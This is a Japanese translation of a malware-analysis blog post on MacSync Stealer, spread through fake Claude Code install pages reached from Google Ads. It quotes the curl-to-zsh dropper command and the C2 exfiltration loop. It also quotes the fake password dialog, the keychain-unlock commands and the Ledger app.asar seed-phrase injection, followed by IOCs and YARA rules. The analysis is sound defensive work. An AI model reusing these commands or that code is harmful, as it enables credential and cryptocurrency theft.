MacSync Stealer: Google広告がClaude Code インストールをMac全体の侵害に変える方法

TL;DR

  • 当社のエージェンティックCTIプラットフォームCaronteにより自律的に実施された分析:1つの投下サンプルから完全な攻撃チェーン再構築、ペイロードデコード、およびapp.asar取証まで、数分で、手動のリバースエンジニアリングなしで実現
  • Google広告の悪質な広告キャンペーンがAnthropicのClaude Code CLIになりすまし:開発者の検索に対してスポンサー付き結果が表示され、偽のGoogle Sitesインストールページを指しています。マルウェアはMacSync Stealer v1.1.2、ビルドタグclaude1と自認し、コンパイル対象のおとりを明確に命名しています
  • 3段階のzshドロッパーがosascriptペイロードを配信し、偽のシステム環境設定ダイアログを介してMacのログインパスワードを盗み、その後マシン上のすべての認証情報を収集します:すべてのブラウザプロフィール、80以上のウォレット拡張機能、20以上のデスクトップウォレット、macOSキーチェーン(盗まれたパスワードで復号可能)、iCloud Keychain、SSHキー、AWS認証情報、およびkubectlの設定
  • 2段階目のapp.asar置換がインストールされている場合はLedger LiveとLedger Walletをトロイの木馬化します。ロシア語のВСТАВЬТЕ СЮДА(「ここに挿入」)マーカー付きの1行が注入されたコードは、起動から5秒後にアプリケーション全体を偽の復旧フローにリダイレクトし、被害者にシードフレーズの引き渡しを促します

一目でわかる主要な発見

カテゴリ 詳細
マルウェア MacSync Stealer v1.1.2 (x86_64 + ARM universal)
ビルドタグ claude1(キャンペーン固有の識別子)
配信方法 Google広告の悪質な広告 → Google Sitesおとり → ClickFix/InstallFix ターミナルコマンド
C2 oklahomawarehousing.com
ドロッパーハッシュ bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0
認証情報のターゲット 14以上のChromiumブラウザ · Firefox/Geckoファミリー · 80以上のウォレット拡張機能 · 20以上のデスクトップウォレット · macOSキーチェーン · SSH/AWS/kubectl
ウォレットトロイの木馬 Ledger Live v2.126.2 · Ledger Wallet v2.133.0(Trezor Suite:収集時にC2が520を返却)
トロイの木馬マーカー main.bundle.js内の// ←=== ВСТАВЬТЕ СЮДА ===→(キットベースの挿入ポイント)
トロイの木馬化されたASAR SHA256 Ledger Live: 1abf943e97356e07bde23663da544e7c106afc19827a2106361a52035737de43
関連キャンペーン Bitdefender、Trend Micro、Jamf(2026年2月~5月)により文書化されたより広いMacSync/InstallFixウェーブ

攻撃チェーンの概要

この調査は一般的な戦術で始まります:悪質な広告。スポンサー付きのGoogle広告が「claude code mac install」の検索クエリに対して表示され、検索結果の最上位にランク付けされました。タイトルは「Install Claude macOS / Claude for macOS」で、business.google.comから提供されていました。

広告はGoogle Sitesページ(sites.google.com/view/claud-version-0505)を指していました。このページは、実際のAnthropicウェブサイトを模倣するために構築されていました。ページには、悪意のあるコマンドのワンクリックコピーボタンが含まれていました。

このページには、以前にターミナルコマンドを実行したことがないユーザーをターゲットとした完全な「ターミナルは初めてですか?」段階的ガイドも含まれています。そのガイドの第3ステップは最も悪質な詳細です:インストール完了の偽のターミナルアニメーションが表示され、そのアニメーションには「管理者パスワードを入力:**** ✓」という行が含まれています:

これは意図的な準備です。ページは、被害者が1つのコマンドを実行する前に、管理者パスワードを入力することがClaude Codeのインストールの正常で予期される段階であることを被害者に伝えます。数秒後に同じパスワードを要求する偽のシステム環境設定ダイアログが表示されたとき、被害者は既に従うように条件付けられています。

おとりホストとしてGoogle Sitesを選択したことは偶然ではありません。Google SitesはすべてのページコンテンツをJavaScriptを介してレンダリングします。プレーンHTTPリクエストを行う自動スキャナー、URL評判フィード、および企業プロキシはJSを実行せずに空のシェルを表示して、クリーンとスコア付けします。実際のブラウザはJavaScriptを実行し、完全な悪質なページをロードします。sites.google.comドメインと組み合わせると、すべての許可リストに含まれており、大規模な誤検知なしにブロックできません。攻撃者に、自動検出に対して実質的に目に見えない一方で、人間の被害者にとって完全に機能するおとりを与えます。インフラストラクチャを消す必要がなく、ドメインをシンクホール化する必要もなく、証明書にフラグを付ける必要もありません。同じ手法は、Google Docs、Notion、およびConfluenceを悪用するClickFixキャンペーン全体で同じ理由で出現しています。

確認されたおとりURLはclaud-version-MMDD命名パターンに従います:0505は5月5日にマップされ、キャンペーンが観察および分析された日付です。このレポートは翌日の5月6日に公開されます。日付がエンコードされたスラッグは、オペレーターがGoogle広告の宛先を定期的にローテーションし、古いURLを消して手動のブロックリスト追加に先立つことを示唆しています。

分析に続いて、我々はスポンサー付き広告をGoogleに報告しました。24時間以内に、GoogleのTrust & SafetyがGoogle広告ポリシー違反で広告が削除されたことを確認しました。

ドロッパーを当社のエージェンティックCTIプラットフォームCaronteに提出しました。その単一の提出から、Caronte全体の分析パイプラインを自律的に実行し、多段階ドロッパーチェーンをデコードし、osascriptペイロードを再構築し、C2 APIサーフェスをマッピングし、トロイの木馬化されたapp.asarアーティファクトを抽出しました。手動のリバースエンジニアリングは必要ありませんでした。

以下のすべては、Caronte出力の上に構築された検証および探索です。

スポンサー付き広告は、ユーザーにターミナルを開いてコマンドを貼り付けるよう指示する偽のインストールページにつながります。被害者にターミナルで貼り付けたコマンドを実行するよう指示する戦術は、InstallFix(より広いClickFixソーシャルエンジニアリングパターンのmacOS変種)として知られています。開発者に対しては、特に効果的です:CLI ツールをインストールするためにcurl | bashスタイルのコマンドを実行することは完全に日常的な動作です。ただし、コマンド内の難読化されたBase64文字列の存在は、セキュリティを意識したユーザーにとって依然として重大な赤信号です。

ページに表示されるコマンド:

echo 'ZWNobyAnVmVyaWZpY2F0aW9uIHBsZWFzZSB3YWl0Li4uJyAmJiBjdXJsIC1rZnNTTCBodHRwOi8vb2tsYWhvbWF3YXJlaG91c2luZy5jb20vY3VybC9iZDM0OGE0MDI2MWFhMmQ5NTU2NmNjZGM0ZTZmMzA0ZmYyNWFhOTdkMzRlNWM3MTNjNzdjOTM3NTgzYWQwNGYwfHpzaA=='|base64 -D|zsh

外側のbase64層はデコードされます:

echo 'Verification please wait...' && curl -kfsSL http://oklahomawarehousing.com/curl/bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0|zsh

"Verification please wait..."は、実際のペイロードがサイレント内でダウンロードされている間、正当なインストールプロセスを模倣するためにターミナルに出力されます。-kフラグはTLS証明書検証を無効にします。C2スタック全体はクリアテキストHTTで実行されます。

ドロッパーチェーン:実行への3つのステージ

ステージ1はC2からbd348a40...f0.dailyをダウンロードします。.dailyは、このファイルが毎日ローテーションされることを示唆していますが、これは収集時に確認されませんでした。

ステージ2.dailyファイル)にはインラインbase64+gzipペイロードが含まれています:

#!/bin/zsh
d30358=$(base64 -D <<'PAYLOAD_m69993274016821' | gunzip
H4sIAAxV+mkAA91WW2/bNhR+9684VRXDasBIsiI7NzUNugAN...
PAYLOAD_m69993274016821
)
eval "$d30358"

変数名はビルドごとにランダム化されます(d30358)。ペイロード名にはランダム化された数値サフィックスが含まれます(PAYLOAD_m69993274016821)。どちらも単純な文字列マッチングを防ぐための反パターン対策です。

ステージ3(デコードされたデーモン)は完全にサイレント(exec </dev/nullexec >/dev/nullexec 2>/dev/null)で実行され、2つの操作を実行します:

# 1. osascriptスティーラーをフェッチして実行
curl -k -s -H "api-key: $api_key" \
  "http://oklahomawarehousing.com/dynamic?txd=$token" | osascript
# 2. /tmp/osalogging.zipを10MBチャンクで流出させる
curl -k -s -X PUT --data-binary @- \
  -H "api-key: $api_key" \
  "http://oklahomawarehousing.com/gate?buildtxd=$token&upload_id=...&chunk_index=$i&total_chunks=$n"
)

流出ループは最大8回まで再試行し、指数バックオフを使用し、成功時にアーカイブを削除し、サイレント終了します。流出戦略とその弱点の詳細については、次のセクションを参照してください。

MacSync Stealer:osascriptペイロード

/dynamicからフェッチされるペイロードは、AppleScriptで記述された完全に機能するmacOS認証情報ハーベスターで、内部的にMacSync Stealer v1.1.2_release(x64_86&ARM)として識別されています。その最初のアクションはターミナルを終了することです:

try
  do shell script "killall Terminal"
end try

これは、被害者がそれを確認する機会を持つ前に、貼り付けられたコマンドをターミナルの表示履歴から削除します。

パスワード罠

スティーラーの何かを収集する前の主な目標は、ユーザーのMacログインパスワードを取得することです。dscl . authonlyを使用して候補をサイレント検証し、macOSセキュリティプロンプトはありません:

on checkvalid(username, password_entered)
  set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
  if result is not equal to "" then
    return false
  else
    return true
  end if
end checkvalid

アカウントにパスワードがない場合は、プロンプトなしで続行します。パスワードが必要な場合、非表示のパスワードフィールド付きの偽のシステム環境設定ダイアログを表示し、有効な認証情報が入力されるまでループします:

set result to display dialog "You should update the settings to launch the application." \
  default answer "" with icon imagePath \
  buttons {"Continue"} default button "Continue" \
  giving up after 150 with title "System Preferences" with hidden answer

ダイアログは実際のmacOS LockedIcon.icnsシステムアイコンを使用し、正当なシステムプロンプトと区別がつきません。

パスワードが検証されると、スティーラーは直ちにそれを使用します:

do shell script "security unlock-keychain -p " & quoted form of password_entered & " ~/Library/Keychains/login.keychain-db"
do shell script "security set-generic-password-partition-list -s \"Chrome Safe Storage\" -a \"Chrome\" -S \"apple-tool:,apple:,teamid:EQHXZ8M8AV\" -k " & quoted form of password_entered
set masterpass to do shell script "security find-generic-password -wa \"Chrome\""

3つのことが順序立てて発生します:ログインキーチェーンはロック解除され、Chrome Safe Storageパーティションリストは無制限のアクセスを許可するように更新され、Chrome Safe Storageマスターキーが抽出されます。この単一キーは、マシン上のChromiumベースのすべてのブラウザで保存されているすべてのパスワードを復号化します。

実際のmacOSダイアログが明らかにすること

偽のダイアログがパスワードをキャプチャして、スティーラーがsecurity unlock-keychainを呼び出すと、macOSが実際のネイティブキーチェーンアクセスアラートを発火させ、securityプロセスがChrome Safe Storageにアクセスすることの許可を要求します。これはシステムが正しく機能していますが、偽のダイアログが既に認証情報を盗んだ後に表示されます。

ダイアログは読みます:「securityはキーチェーンの「Chrome Safe Storage」に保存されている機密情報を使用したいと考えています。これを許可するには、「ログイン」キーチェーンのパスワードを入力してください。」 ボタンは常に許可拒否、および許可を提供します。

これを見て「拒否」をクリックする被害者は合理的に行動していますが、それは役に立ちません。プロンプトを拒否すると、その特定のsecurity find-generic-password呼び出しはブロックされるため、Chrome Safe Storageキーはその時点では直接抽出されません。それは重要ではありません:スティーラーは既に偽のダイアログを介してMacログインパスワードをキャプチャし、login.keychain-dbは既にステージングディレクトリにコピーされています。そのキーチェーンにはChrome Safe Storageキーが含まれています。攻撃者は盗まれたパスワードを使用してオフラインで復号化し、とにかく同じキーを回復します。拒否は既に別の経路を通じてバイパスされていた1つのドアを閉じます。

データ収集の完全なスコープ

すべて/tmp/sync<random>/にパックされ、dittoを使用して/tmp/osalogging.zipにアーカイブされます:

カテゴリ ターゲット
Chromiumブラウザ Chrome、Brave、Edge、Arc、Opera、OperaGX、Vivaldi、Yandex、Chromium、Chrome Beta/Dev/Canary、CocCoc
Geckoブラウザ Firefox、Zen、LibreWolf、Waterfox
ブラウザデータ Cookie、ログインデータ、ウェブデータ、拡張LocalStorage + IndexedDB
ブラウザウォレット拡張 80以上の拡張ID:MetaMask、Phantom、Trust、Coinbase、OKX、Rabby、Bybit、Binance Wallet、および約75その他
デスクトップウォレット Exodus、Electrum、Atomic、Guarda、Coinomi、Sparrow、Wasabi、Bitcoin Core、Armory、Electron Cash、Monero、Litecoin Core、Dash、Dogecoin、BlueWallet、Zengo、Trust Wallet、Ledger LiveLedger WalletTrezor Suite
macOSキーチェーン すべての~/Library/Keychains/*.keychain-dblogin.keychain-db(盗まれたパスワードで復号可能)およびLocal Items.keychain-db(iCloud Keychainローカルキャッシュを含む)
クラウド認証情報 ~/.ssh/~/.aws/~/.kube/
メッセージング Telegram Desktop tdata/セッション
ファイルグラバー デスクトップ、ドキュメント、ダウンロードから.pdf .docx .wallet .key .seed .kdbx .pem .ovpn(ソースフォルダあたり最大100MB)
ブラウザ(追加) Safari Cookie + 履歴、Apple Notes データベース(NoteStore.sqlite
シェルアーティファクト .zshrc.zsh_history.bash_history.gitconfig
システム情報 lsappinfo listps ax、完全なsystem_profilerハードウェア/ソフトウェア/ディスプレイ出力

キーチェーン盗難は特に注目に値します。グロブ~/Library/Keychains/*.keychain-dblogin.keychain-dbLocal Items.keychain-dbの両方をキャプチャします。ログインキーチェーンはユーザーのMacログインパスワード(攻撃者が今保有している)で暗号化されています。オフライン復号化は標準的なツールで簡単です。Local Items.keychain-db(iCloud Keychain)はハードウェアにバインドされており、被害者のデバイスなしで完全には復号化できませんが、攻撃者は既にChrome Safe Storageキーを介してすべてのブラウザ保存認証情報を保有しているため、iCloud Keychainは認証情報盗難目標の大部分で大きく冗長です。

アーカイブ後、スティーラーはzipに情報ファイルを書き込みます:

MacSync Stealer
Build Tag: claude1
Version: 1.1.2_release (x64_86 & ARM)
IP: 98.71.26.11
Username: <victim>
Password: <stolen mac password>

スティーラーは次に、「Claude Code」がインストールに失敗した理由の言い訳として偽のエラーダイアログを表示します:

「このアプリケーションはMacでサポートされていません。再度インストールするか、システムのバージョンをダウンロードしてください。」

ダイアログは実行ゲート

偽のエラーダイアログは、被害者を却下するための単純な囮のように見えます。構造的には、それはより多いものです:実行チェーンの重大な同期ポイント、おそらく意図せず。

osascriptペイロードは直線的でブロッキングです。最後のdisplay dialog呼び出しにgiving up afterタイムアウト句がないため、osascriptプロセスはその行でハルト状態になり、ユーザーがクリックするまで進むことができません。ウォレットアプリのトロイの木馬化と認証情報アップロードはどちらもそのクリックの下流です。ダイアログが開いている間、どちらも実行できません。

実際の実行順序、ペイロードソースから確認:

[osascript]
  1. 認証情報収集(ブラウザ、キーチェーン、ウォレット、SSH、AWS、kubectl)
  2. アーカイブ作成:/tmp/osalogging.zip
  3. display dialog "Your Mac does not support this application..."  ← ブロック
  4. Ledger Wallet ASAR置換  ← クリック後のみ実行
  5. Ledger Live ASAR置換
  [osascript終了]
[daemon_function、zsh]
  6. /tmp/osalogging.zipのチャンク化アップロードをC2へ
  7. rm /tmp/osalogging.zip

再起動した、ターミナルを強制終了した、またはステップ3をクリックする前にノートパソコンをを閉じた被害者は、チェーンを切断しました。認証情報アーカイブは/tmpにローカルで存在しましたが、アップロードされませんでした。ウォレットアプリには触れられませんでした。再起動時に、/tmpがクリアされます。

ダイアログの意図した目的はソーシャルエンジニアリングでした:被害者にインストールが失敗し、疑いなく先に進むと信じさせてください。しかしosascriptの同期的性質は、それを意図しない脱出ウィンドウに変えました。攻撃者が、ダイアログを表示する前にアップロードをバックグラウンド化していた場合(些細な変更)、このウィンドウは存在しないでしょう。彼らはそうしませんでした。皮肉なことに、ソーシャルエンジニアリングは彼らに対して機能しました:偽のエラーを信じて「もう一度試す」ために再起動した被害者はクリーンに立ち去りました。

コマンドを実行しましたが、最終的なダイアログの「OK」をクリックしなかった場合:認証情報はローカルでステージングされましたが、送信されず、ウォレットアプリは変更されませんでした。パスワード回転は依然として慎重です(盗まれたパスワードは、収集中にキーチェーンのロック解除に使用されました)が、データはマシンを離れませんでした。

まったく考え抜かれていない流出戦略

流出には、被害者に有利に機能した2つの構造的弱点があります。

最初は、上記の実行ゲートです:全体のアップロードは、被害者が偽のエラーダイアログで「OK」をクリックした後にのみ開始されます。再起動、強制終了、またはダイアログを無視すると、チェーンを単一バイトがマシンを離れる前に切断します。

2番目はアップロード設計です。Filegrabberルーチンは、被害者のデスクトップ、ドキュメント、ダウンロードフォルダからすべてのpdfdocxdocwalletkeydbtxtseedrtfkdbxpem、およびovpnファイルを取得し、ソースフォルダあたり100MBで制限されます。14以上のChromiumインストール全体、ウォレット拡張データ、Telegram Desktopのブラウザプロフィールと組み合わせると、ステージングディレクトリは圧縮前に数百メガバイトに簡単に達する可能性があります。最終的なzipは大きく、通常は多くの10MBチャンクに分割されます。

回復されたdaemon_functionからのアップロードループ:

CHUNK_SIZE=$((10 * 1024 * 1024))   # チャンクあたり10 MB
MAX_RETRIES=8
upload_id=$(date +%s)-$(openssl rand -hex 8)
total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
for (( i = 0; i < total_chunks; i++ )); do
    success=0
    for (( attempt = 1; attempt <= MAX_RETRIES; attempt++ )); do
        # zipからチャンクiをスライスしてC2に直接ストリーム
        http_code=$(
            dd if="$file" bs=1 skip=$(( i * CHUNK_SIZE )) count=$CHUNK_SIZE 2>/dev/null \
            | curl -k -s -X PUT --data-binary @- \
                -H "api-key: $api_key" \
                --max-time 180 \
                -o /dev/null -w "%{http_code}" \
                "http://$domain/gate?buildtxd=$token\
&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks"
        )
        if [[ $? -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
            success=1
            break
        fi
        sleep $(( 3 + attempt * 2 ))   # バックオフ:5秒、7秒、9秒...
    done
    # すべての再試行を使い果たすチャンクは、全体のアップロードを中止します
    (( success == 0 )) && return 1
done
rm -f "$file"   # 完全成功でのみ到達
return 0

攻撃者は、すべてのチャンクが到着しない限り、何も有用なものを受け取りません。理由は構造的です:ZIP形式は、すべてのファイル、そのオフセット、圧縮パラメータをリストする中央ディレクトリ(マスターインデックス)をアーカイブの最後に保存し、最初ではありません。被害者がアップロード中に再起動するか、企業ファイアウォールが最初のいくつかのチャンク後に接続を切断した場合、C2はアーカイブの開始を受け取りますが、終了ではありません。中央ディレクトリなしでは、ツールは内部のファイルを見つけたり解凍したりできません。到着したバイトは読めません。攻撃者はすべてのチャンク、順序で、有効なアーカイブを再構築する必要があります。

zipはreturn 0のアップロードループからのみ削除されます。失敗したアップロードはディスク上に残りますが、/tmpは再起動時にワイプされるため、とにかく永続しません。

ウォレットトロイの木馬:外科的app.asar置換

osascriptペイロード内で、偽のエラーダイアログの直後に、スクリプトは/Applicationsをチェックして3つのハードウェアウォレットアプリケーションを検索し、見つかった場合はElectronバンドルを置換します:

set LEDGERURL to "https://oklahomawarehousing.com/ledger/live/<token>"
-- トロイの木馬化されたapp.asar + Info.plistをダウンロード
-- /Applications/Ledger Live.app/Contents/Resources/app.asarを置換
-- 再署名:codesign -f -s - "/Applications/Ledger Live.app"

同じフローLedger Wallet.appおよびTrezor Suite.appで実行されます。codesign -f -s -での再署名は、Gatekeeper信頼されたアドホック署名を生成しますが、既にインストールされているアプリの「アプリケーションが破損しています」警告を抑制するのに十分です。

収集時に2つのライブトロイの木馬ペイロードがアクティブでした:

アプリ バージョン ASAR SHA256
Ledger Live 2.126.2 1abf943e97356e07bde23663da544e7c106afc19827a2106361a52035737de43
Ledger Wallet 2.133.0 f9594eb98fc46c3388f843daf540684175e5b84b87e7e5ccd77e1f1e9f1ac370(zip経由)
Trezor Suite N/A C2がerror code: 520を返却:ペイロードは収集時にまだ展開されていません

Trezorエンドポイントはosascript(/trezor/<token>)に存在し、オペレーターが展開することを意図していることを確認していますが、サンプルが収集されたときC2はCloudflare 520エラーを返していました。インフラストラクチャはライブです。ペイロードはまだ利用できませんでした。

トロイの木馬内部:ロシア語キットマーカーと永続的なハイジャック

ASAR置換は1回限りのペイロードではありません:それは永続性です。トロイの木馬化されたapp.asar/Applications/Ledger Live.app/Contents/Resources/app.asarに書き込まれると、Ledger Liveの今後の起動は毎回攻撃者のコードを実行します。削除する個別のプロセスはなく、削除するLaunchAgentもありません。トロイの木馬IS Ledger Liveです。唯一の修復は、公式ソースからのクリーンな再インストールです。

main.bundle.js内の全体の攻撃サーフェスは、メインのBrowserWindowが初期化された直後に配置され、「ここに挿入」を意味するロシア語コメントでマークされている単一の注入ブロックです:

// ←=== ВСТАВЬТЕ СЮДА ===→
setTimeout(() => {
  e.loadURL("file://" + wL.default.join(__dirname, "recovery-step-1.html"));
}, 5000);

eはメインアプリケーションウィンドウです。それが開いてから5秒後(アプリが正常にロードされているように見えるのに十分な長さ)、loadURLはアーカイブ内にバンドルされている偽の復旧ページで全体のウィンドウコンテンツを置換します。タイマーは偶然ではありません:0msリダイレクトはフラッシュとして見えます。5秒で実際のUIをレンダリングし、ハイジャックが発火する前にアプリが正常に起動されたことを被害者に保証します。

その後のすべての起動でのフロー:

ユーザーがLedger Liveを開く
  → Electronはmain.bundle.jsをロード
  → メインウィンドウが開く、Ledger UIは正常に見える(5秒)
  → setTimeoutが発火:e.loadURL("file://.../recovery-step-1.html")
  → ウィンドウは攻撃者が制御する復旧フローにリダイレクト
  → 被害者がシードフレーズを入力
  → ipcRendererはフレーズをoklahomawarehousing.comに送信

ロシア語コメントはキットマーカーです。ВСТАВЬТЕ СЮДА注釈は、オペレーターがC2固有のペイロードをパッチインする場所です。同じパターン、同じコメント、同じ挿入ポイントが、Ledger LiveおよびLedger Walletトロイの木馬の両方に同一に表示され、それらが共通テンプレートを共有していることを確認しており、オペレーターに配布されるのはNeedleで見られるMaaSモデルと一致しています。

偽の復旧フロー

ASAR内にバンドルされている3つの復旧ページが、被害者を正当なデバイス復元のように見えるウォークスルーを実行します:

ステップ1:ソーシャルエンジニアリングフック:

「何か問題が発生しました…でも心配しないでください!あなたの暗号資産は安全でアクセス可能です。ソフトウェアの更新またはファームウェアアップグレード中にエラーが発生した可能性があります。いくつかの簡単なステップで簡単に修正できます。」

ステップ2:PINおよび復旧フレーズの収集。ステップは、正当なLedger UIアセットから直接ソースされた3つの教訓画像を使用し、トロイの木馬内で信頼性を構築するために転用されています:

フィッシングフロー内で正当なLedgerリカバリイラストを使用することは、視覚的摩擦を除去します:被害者は、実際のLedger Live搭乗から認識していたイメージを、実際のLedger Liveアプリケーションであるように見えるものの内部で見ています。

ステップ3:完了とナビゲーション。

復旧ページは、ハイジャックされたElectronウィンドウ内でfile:// URLを介して提供される事前レンダリングされたReactスナップショットです。メインアプリと同じElectronコンテキストで実行されるため、ipcRendererに完全にアクセスでき、main.bundle.jsにコールバックして、入力されたシードフレーズを流出させることができます。初期ドロッパーと同じC2インフラストラクチャ(oklahomawarehousing.com)を使用します。

被害者のLedgerまたはWalletアプリケーションは、5秒のマークまで完全に正常に見え、感じます。その時点で、ウィンドウは攻撃者に属しています。

侵害の指標

ドロッパー:
  SHA256:   bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0
  ファイル名: bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0.daily
  タイプ:     インラインbase64+gzipペイロード付きzshスクリプト
ネットワーク:
  C2:       oklahomawarehousing.com
  パス:    /curl/<hash>  /dynamic?txd=<hash>  /gate?buildtxd=<hash>
            /ledger/<hash>  /ledger/live/<hash>  /trezor/<hash>
  APIキー:  5190ef1733183a0dc63fb623357f56d6
  トークン:    bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0
  プロトコル: HTTP(TLSなし)
おとり:
  Google広告キャンペーンID: 23812622362
  確認されたおとり: sites.google.com/view/claud-version-0505
  命名パターン:  claud-version-MMDD(日付ベースのスラッグローテーションが疑われる)
トロイの木馬化されたASAR:
  Ledger Live v2.126.2:   1abf943e97356e07bde23663da544e7c106afc19827a2106361a52035737de43
  Ledger Wallet v2.133.0: f9594eb98fc46c3388f843daf540684175e5b84b87e7e5ccd77e1f1e9f1ac370
ファイルシステム:
  /tmp/osalogging.zip         (流出アーカイブ)
  /tmp/sync<random>/          (ステージングディレクトリ、自動削除)
  ~/.zsh_history              (killall Terminalによってワイプ)
メタデータのビルド(流出情報ファイル内):
  マルウェア名: MacSync Stealer
  ビルドタグ:    claude1
  バージョン:      1.1.2_release(x64_86&ARM)
rule MacSync_Stealer_Dropper_Daily {
    meta:
        description = "MacSync Stealer zshドロッパー(.daily):base64+gzipペイロード、/gateエンドポイントへのデーモン流出付き"
        author      = "Beelzebub Research"
        date        = "2026-05-06"
        reference   = "https://beelzebub.ai/blog/macsync-stealer-fake-claude-code-google-ads"
    strings:
        $s1 = "osalogging.zip" ascii
        $s2 = "daemon_function" ascii
        $s3 = "/gate?buildtxd=" ascii
        $s4 = "/dynamic?txd=" ascii
        $s5 = "PAYLOAD_m" ascii
        $s6 = "| gunzip" ascii
    condition:
        5 of them
}
rule MacSync_Stealer_Osascript_Payload {
    meta:
        description = "MacSync Stealer osascript認証情報ハーベスター、ビルドclaude1、v1.1.2"
        author      = "Beelzebub Research"
        date        = "2026-05-06"
        reference   = "https://beelzebub.ai/blog/macsync-stealer-fake-claude-code-google-ads"
    strings:
        $b1 = "MacSync Stealer" ascii
        $b2 = "Build Tag: claude" ascii
        $b3 = "osalogging.zip" ascii
        $b4 = "dscl . authonly" ascii
        $b5 = "security unlock-keychain" ascii
        $b6 = "Chrome Safe Storage" ascii
        $b7 = "killall Terminal" ascii
        $b8 = "GrabFolder" ascii
        $b9 = "DesktopWallets" ascii
    condition:
        6 of them
}
rule MacSync_Stealer_AppAsar_Trojan {
    meta:
        description = "MacSync Stealer トロイの木馬化されたElectron app.asar:復旧フロー注入付きLedger Live/Wallet"
        author      = "Beelzebub Research"
        date        = "2026-05-06"
        reference   = "https://beelzebub.ai/blog/macsync-stealer-fake-claude-code-google-ads"
    strings:
        // ロシア語「ここに挿入」注入マーカー(UTF-8)
        $marker   = { E2 86 90 3D 3D 3D 20 D0 92 D0 A1 D0 A2 D0 90 D0 92 D0 AC D0 A2 D0 95 20 D0 A1 D0 AE D0 94 D0 90 20 3D 3D 3D E2 86 92 }
        $recovery = "recovery-step-1.html" ascii
        $loadurl  = "loadURL" ascii wide
    condition:
        $marker and $recovery and $loadurl
}

結論

おとりページの1つの詳細は特筆する価値があります。偽の「ターミナルは初めてですか?」ガイドのステップ3は、インストール完了のターミナルアニメーションを表示し、そのアニメーションに「管理者パスワードを入力:**** ✓」という行が含まれています。攻撃者は意図的にそこに置きました。被害者が単一のコマンドを実行する前に、ページは既に被害者に管理者パスワードを提供することがClaude Codeのインストールの正常で予期された段階であることを教えています。数秒後に同じシステム環境設定ダイアログが表示されたとき、被害者は警戒しません。彼らは彼らが見たばかりの指示に従っています。

Claude Codeを検索する開発者は明確なターゲットです:ターミナルコマンドを実行することに慣れている人口、マシンのクラウド認証情報とSSHキーを持つ可能性が高い、多くの場合ハードウェアウォレットを持っています。

攻撃は、独立して十分であるように設計された2つの異なるフェーズを持っています。osascriptステージは数秒で完了し、被害者がハードウェアウォレットを持っているかどうかに関係なく、マシン上のすべてを収集します。app.asarステージは、被害者がLedger LiveまたはLedger Walletを開く次回、おそらく数週間後にアクティブになり、最初のステージが到達できなかった1つのことを収集します:コールドストレージを制御するシードフレーズ。

ロシア語のВСТАВЬТЕ СЮДАマーカーはこれがキットであることを確認しています:オペレーターに配布されるテンプレートバンドル。同じ挿入パターン、同じ3つの復旧ページ、同じ偽の「何か問題が発生しました」ソーシャルエンジニアリング、Ledger LiveおよびLedger Walletトロイの木馬の両方に同一に表示されることは、単一のキャンペーンの仕事ではありません。それは製品です。

偽の「このアプリケーションはMacでサポートされていません」ダイアログは単なるソーシャルエンジニアリングではありません:それは意図しない同期ポイントです。osascriptプロセスはユーザーがクリックするまでその行でブロックされるため、ウォレットトロイの木馬化と認証情報アップロードはどちらもそのクリックが発生することに依存しています。再起動またはクリック前に強制終了した被害者はフェーズ2と3全体を完全に逃れました。認証情報アーカイブは/tmpでステージングされましたが、送信されず、再起動時にワイプされました。

流出もフォールバックを持ちません:クリアテキストHTTの単一のチャンク化PUTループ、DNS流出なし、二次チャネルなし。大きなドキュメントフォルダを持つ開発者マシンでは、zipは日常的に100MBを超え、多くのチャンクに分割されます。被害者が再起動するか接続がどこかで切断されたいずれかのポイントで、C2は不完全なアーカイブを受け取ります。ZIP中央ディレクトリはファイルの最後に位置するため、欠落しているチャンクは攻撃者が到着したものの単一のファイルを読むことができないことを意味します。部分的な復旧はありません。

Caronte がこれを可能にした方法

この調査は、1つの疑わしいターミナルコマンドから始まりました。Caronte は3段階のドロッパーチェーンをデコード、完全なosascriptペイロードを再構築、ビルドタグとC2認証情報を抽出しました。すべて自律的に。ロシア語のキットマーカー、ウォレットトロイの木馬ダウンロードURL、APIキー:単一の手動デコード手順なしで表示。

ほとんどの脅威インテリジェンスワークフローのボトルネックは判断ではありません:判断を適用できるポイントに到達するのに費やされた時間です。Caronte はそれを時間から数分に圧縮するため、アナリストは興味深い質問に時間を費やし、抽出ではありません。

攻撃者は既にAIを使用してマルウェアを書き、反復し、手動の分析ワークフローが追いつくことができるより速く展開します。チームがまだペイロードを手で解コードしている場合、あなたは既に後ろにいます。

Caronte がどのように機能するかを学ぶ

翻訳元: https://beelzebub.ai/blog/macsync-stealer-fake-claude-code-google-ads/

ソース: beelzebub.ai